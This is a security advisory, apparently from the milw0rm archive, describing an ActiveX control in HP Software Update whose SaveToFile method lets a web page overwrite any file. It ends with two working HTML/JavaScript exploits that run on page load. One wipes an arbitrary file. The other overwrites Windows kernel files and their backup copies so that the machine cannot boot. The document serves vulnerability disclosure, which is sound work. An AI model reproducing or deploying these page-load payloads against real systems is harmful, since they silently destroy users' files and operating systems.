Advisory: /////////
There is another remotely exploitable flaw within software preinstalled
in HP notebook machines. This time, the culprit is automatic software
update tool provided by the vendor.The Potential exploitation may lead
to user files loss or altering vital system files (e.g. kernel), thus
leaving PC unbootable.
Overview: /////////
The flaw is located in the software called HP Software Update shipped
with the HP notebooks to support automatic software updates and critical
vulnerability patching. One of the ActiveX controls deployed by default
by the vendor contains an insecure method giving a potential attacker
the remote system arbitrary file write access.
Impact: ///////
Remote user files contents corruption Remote system kernel files damage
/ Operating System DoS condition
Attack vectors: ///////////////
There are two main attack vector schemes:
- inducing remote user to launch WWW link after obtaining the
information about the location of an arbitrary file(s) locations/names
in the remote system. After clicking the link the files contents will be
unrecoverably destroyed. This attack vector thus requires additional
social engineering of the vitim to acquire exact name and location of
the potential attack target files. - inducing remote user to launch WWW
link resulting in corruption of vital Operating System files, leaving
the system unusable. This attack vector DOESN'T require any additional
victim social engineering, because the system files are always placed in
the predictable locations.
Technical details: //////////////////
The vulnerable ActiveX control EngineRules.dll is a component of HP
Software Updates system designed by the vendor.
It has assigned CLSID: 7CB9D4F5-C492-42A4-93B1-3F7D6946470D and is by
default included to "Safe for Scripting" OLE components, that allows
full execution scripting access to the control methods from within the
browser.
The default control installation path is C:\Program
Files\Hewlett-Packard\eSupportDiags\RulesEngine.dll
The control is used by the the HP Software Updates software's
HPWUCli.exe client application to enumerate, load and store available
software patches information. The HPWUCli.exe binary is located in the
directory: C:\Program Files\HP\HP Software Update\
The control may also be used by a remote WWW service, such as
Hewlett-Packard online software update service.
The potentialy insecure method is: void SaveToFile(String dataFilePath);
This method is used to store the software patch specific data (version,
remote location, vendor name, software description) in the binary file
beginning with the 32bit integer value containing the actual patches
count stored in the data file.
The problem lies in the lack of distinguish between local and global
data file area in this control. Both LoadDataFromFile() method and
SaveDataToFile() method have an access to the entire file system data
area, therefore any arbitrary user file can be accessed remotely using
one of these methods by a remote entity. Use the SaveDataToFile() can be
exploited to store the empty-by-initialize software patch data in the
existing file, which will result in previous file contents loss and
resetting it to 4 zero-bytes, describing a zero-size patch.
Noticing a specific vulnerability location (vendor's software update
system), simple disabling of the vulnerable control by the vendor's
patch (like in the other HP software vulnerbility case - HPInfo) would
result in the machine software update system compromise in this case and
would leave the user vulnerable to the future security issues.
Therefore reimplemetation of the update system and/or vulnerable control
local data area implementation is strongly recommended.
Remote Kernel Wreckage Exploit //////////////////////////////
Using this flaw one can construct an armed exploit, able for example to
destroy remote system kernel files and make the remote machine
UNBOOTABLE. The exploit is using vulnerable SaveToFile() to overwrite
the NT System kernel files with the 4 zero bytes. The target are memory
mapped ntoskrnl.exe and ntkrnlpa.exe kernel files which don't have a
write lock set on them and may be opened for write. Although Windows NT
system contains a protection for this kind of activity (system files
overwrite) it can be fooled by overwriting simultanously: system binary
files backup directory (\System32\DllCache\) actual system kernel files
(\System32\) and the Driver Backup directory (\Windows\Driver Cache\)
kernel files.
After the execution it will store an zero-initialized patch information
using SaveToFile() method sequentially to ntoskrnl.exe, ntkrnlpa.exe,
ntkrnlmp.exe ,ntkrpamp.exe NT kernel files , first in the
System32\DllCache\ directory, second to \System32\ directory and finally
to Windows\Driver Cache\ dir. After the very next OS shutdown, machine
will not be bootable anymore.
The exploit code has been attached to the end of this advisory. NOTE
however that it is provided ONLY as a Proof of Concept code and has been
released ONLY to estimate the impact level of the issue.
Vulnerable Software: ////////////////////
HP Software Update client v3.0.8.4 RulesEngine.dll ActiveX CTL v1.0
Internet Explorer 6.0 Internet Explorer 7.0
Windows XP Home Windows XP Pro Windows 2000 Windows 2003 Windows Vista
Vulnerable Hardware ///////////////////
Every HP notebook machine containing the HP Software Updates application
is vulnerable. It is possible that the vulnerable machine model list
disclosed by the vendor as a confirmation to the previous issue
concerning HP laptops - "HP Info Center" case, will be similar in this
case.
Exploits: /////////
////////////////////////////////////////// //Remote Arbitrary File Corruption Exploit //////////////////////////////////////////
<html> <head> <script language="JavaScript">
var filePath="c:\\temp\\testfile.txt";
function spawn3() { o2obj.SaveToFile(filePath); }
</script> </head>
<body onload="spawn3()"> <object ID="o2obj" WIDTH=0 HEIGHT=0 classid="clsid:7CB9D4F5-C492-42A4-93B1-3F7D6946470D" </object> </body>
</html>
//////////////////////////////// //Remote Kernel Wreckage Exploit //////////////////////////////// // // // WARNING! THE REAL THING... //
DON'T TRY THIS AT HOME! // THIS WILL DAMAGE YOUR // HP COMPUTER SYSTEM!!! // // ////////////////////////////////
<html> <head> <script language="JavaScript">
function spawn3() {
o2obj.EvaluateRules();
o2obj.SaveToFile("c:\\WINDOWS\\system32\\dllcache\\ntoskrnl.exe");
o2obj.SaveToFile("c:\\WINDOWS\\system32\\dllcache\\ntkrnlpa.exe");
o2obj.SaveToFile("c:\\WINDOWS\\system32\\dllcache\\ntkrnlmp.exe");
o2obj.SaveToFile("c:\\WINDOWS\\system32\\dllcache\\ntkrpamp.exe");
o2obj.SaveToFile("c:\\WINDOWS\\system32\\ntoskrnl.exe");
o2obj.SaveToFile("c:\\WINDOWS\\system32\\ntkrnlpa.exe");
o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\ntoskrnl.exe");
o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\ntkrnlpa.exe");
o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\ntkrnlmp.exe");
o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\ntkrpamp.exe");
o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\sp2.cab");
o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\driver.cab"); }
function meltdown() { spawn3(); spawn3(); spawn3(); }
</script> </head>
<body onload="meltdown()"> <object ID="o2obj" WIDTH=0 HEIGHT=0
classid="clsid:7CB9D4F5-C492-42A4-93B1-3F7D6946470D" </object> </body>
</html>
Related final word: ///////////////////
Spiderpig, spiderpig, does whatever the spiderpig does... ;-)
Links: //////
Original advisory link:
www.anspi.pl/~porkythepig/hp-issue/wyfukanyszynszyl.txt
Credits: ////////
Issue discovery and research: porkythepig Contact: porkythepig@anspi.pl
# milw0rm.com [2007-12-19]
